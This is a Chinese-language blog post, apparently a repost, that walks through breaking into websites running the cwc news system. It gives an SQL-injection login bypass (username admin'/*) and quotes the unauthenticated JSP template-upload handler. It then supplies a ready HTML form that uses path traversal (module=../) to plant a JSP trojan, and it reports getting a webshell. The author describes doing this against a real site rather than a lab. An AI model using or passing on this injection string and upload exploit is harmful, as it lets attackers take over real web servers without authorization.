cwc新聞系統jsp木馬上傳漏洞

轉載請註明出處:http://write.blog.csdn.net/postedit/7170056    

昨天在無聊搞了一個網站,使用的是cwc新聞系統,黑盒搞了半天,只有些sql注入漏洞,沒法上傳木馬,就下了一套源碼看了一下,發現了一個可以上傳jsp木馬的地方,所以寫下來。
    這套系統注入非常多,登錄頁面在cwc_news/login.jsp,用戶名輸入:admin'/*,密碼隨便寫,就可以進後臺(圖1)。

                                                 圖1


    下面我們看存在上傳jsp木馬漏洞的文件upload_module_post.jsp,主要代碼如下:

<%
String msg = "Be successful!";

mySmartUpload.initialize(pageContext);
mySmartUpload.upload();
com.jspsmart.upload.File myFile = mySmartUpload.getFiles().getFile(0);

if (myFile.getFileExt().equals("jsp") || myFile.getFileExt().equals("JSP"))
	if (myFile.getSize() < 300*1024)
		if (!myFile.isMissing()) {
			String path = request.getRealPath(".");
			myFile.saveAs(path + "/module/" + request.getParameter("module") + "/detail_news.jsp");
		}
		else {
			msg = "False,to try again!";
		}
	else {
		msg = "File size over" + 300 + "K!";
	}
else {
	msg = "Only can be upload JSP file,your file type is " + myFile.getFileExt();
}

response.sendRedirect("control_module.jsp?msg=" + msg);
%>


這個jsp文件是用於管理員上傳新聞發佈模板的,可以看到文件並沒有驗證session,就算是驗證了,我們也可以通過注入進入後臺得到管理員的session,文件首先判斷是否是jsp文件,如果是而且大小合法的話,就保存到module的子文件夾裏,子文件夾的名稱是我們通過參數傳過去的,看看源碼包裏module裏有什麼文件夾(圖2)。

                                         圖2

但是這裏我也不知道網站上是否有這些子文件夾,而且如果文件夾裏已經有了detail_news.jsp文件,我們上傳的文件是沒法創建的,沒關係,程序並沒有對用戶傳遞的數據進行過濾,我們完全可以提交.../來跳一層文件夾,這樣我們的木馬路徑就是http://www.test.com/cwc_news/detail_news.jsp,我們測試一下,構造一個表單如下:

<html>
<body>
<form action="http://www.test.com/cwc_news/upload_module_post.jsp?module=../" method="post" enctype="multipart/form-data" name="form1">
  <input name="file_data" type="file" id="file_data">
  <input type="submit" name="Submit" value="上傳">
</form>
</body>
</html>


 

提交後成功得到webshell(圖3)。

                                                                                                圖3

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章